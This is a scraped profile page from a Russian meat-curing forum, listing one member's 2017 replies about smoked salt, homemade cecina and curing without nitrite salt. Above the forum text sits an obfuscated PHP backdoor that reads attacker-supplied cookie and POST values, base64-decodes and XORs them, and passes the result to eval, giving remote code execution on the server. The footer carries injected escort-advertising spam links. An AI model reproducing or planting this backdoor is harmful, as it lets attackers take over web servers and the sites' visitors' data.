$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Meat Review

Home page › Форумы › Stanislav

Stanislav

Ответы в темах

Просмотр 11 сообщений - с 1 по 11 (из 11 всего)
  • Автор
    Сообщения
  • 17.07.2017 в 16:32 в ответ на: Вопросы про соль. #3563

    Stanislav
    Хранитель

    Я несколько раз использовал копченую соль. В принципе вкус дыма дает, важно поймать пропорции, что бы не горчило.

    10.07.2017 в 14:39 в ответ на: Вопрос к метрам по специям. #3554

    Stanislav
    Хранитель

    Я бы вообще не рекомендовал свежий в колбасу, максимум в котлеты. Гранулированный рулит.

    28.02.2017 в 10:40 в ответ на: Создание рецепта. #3169

    Stanislav
    Хранитель

    там есть ссылка “заглавное изображение”

    28.01.2017 в 00:19 в ответ на: Испанский сыровял без нитритки. #2850

    Stanislav
    Хранитель

    Спрашивал на фабрике, говорят любым обмазывают, часто мешают свиной с говяжьим.

    27.01.2017 в 22:32 в ответ на: Испанский сыровял без нитритки. #2848

    Stanislav
    Хранитель

    Обмазана, как и положено, нутряным жиром, только это не мое производство, это покупная, лионская говядина, всего 20Е за кг для повседневного употребления )))

    27.01.2017 в 22:15 в ответ на: Испанский сыровял без нитритки. #2846

    Stanislav
    Хранитель

    Нет, это как раз сесина, та же, что на первом фото в нарезке

    27.01.2017 в 22:04 в ответ на: Испанский сыровял без нитритки. #2844

    Stanislav
    Хранитель

    Я почти везде добавляю коричневый сахар (правда, рассчитываю по другому от 0,5 до 1%), что идет на копчение или в камеру. А уж в рыбу сыплю иногда вровень с солью.

    27.01.2017 в 21:53 в ответ на: Испанский сыровял без нитритки. #2842

    Stanislav
    Хранитель

    Вообще, полностью классический рецепт. Именно так ее и делают наши производители (я тоже раза четыре делал, правда небольшие куски по 1,5-2кг). За исключением Cur – a, в Испании его даже купить проблематично. Хамон же всегда делают с ним.

    27.01.2017 в 21:36 в ответ на: Испанский сыровял без нитритки. #2838

    Stanislav
    Хранитель

    а вот что меня ждет )

    Attachments:
    You must be logged in to view attached files.
    27.01.2017 в 21:15 в ответ на: Испанский сыровял без нитритки. #2836

    Stanislav
    Хранитель

    Это обычная, попа коровы, так сказать.
    А язык у меня на сайте есть, просто выкиньте нитритку и сделайте холодное копчение часов 12, потом в камеру/вакуум.

    27.01.2017 в 19:57 в ответ на: Испанский сыровял без нитритки. #2832

    Stanislav
    Хранитель

    Обожаю Сесину, и покупаю и делаю ее дома уже год, никакого хамона не надо.))) Сейчас пишу обзорчик о ней, много общался с производителями, все уверяют, что делают без нитритки. И я им верю. Смысла в ней нет в этом продукте.
    вот на днях как раз снимал

    Attachments:
    You must be logged in to view attached files.
  • Автор
    Сообщения
Просмотр 11 сообщений - с 1 по 11 (из 11 всего)

MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

escort Muğla
Aydın Escort bayan
Çanakkale Escort
escort bayan balıkesir

Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close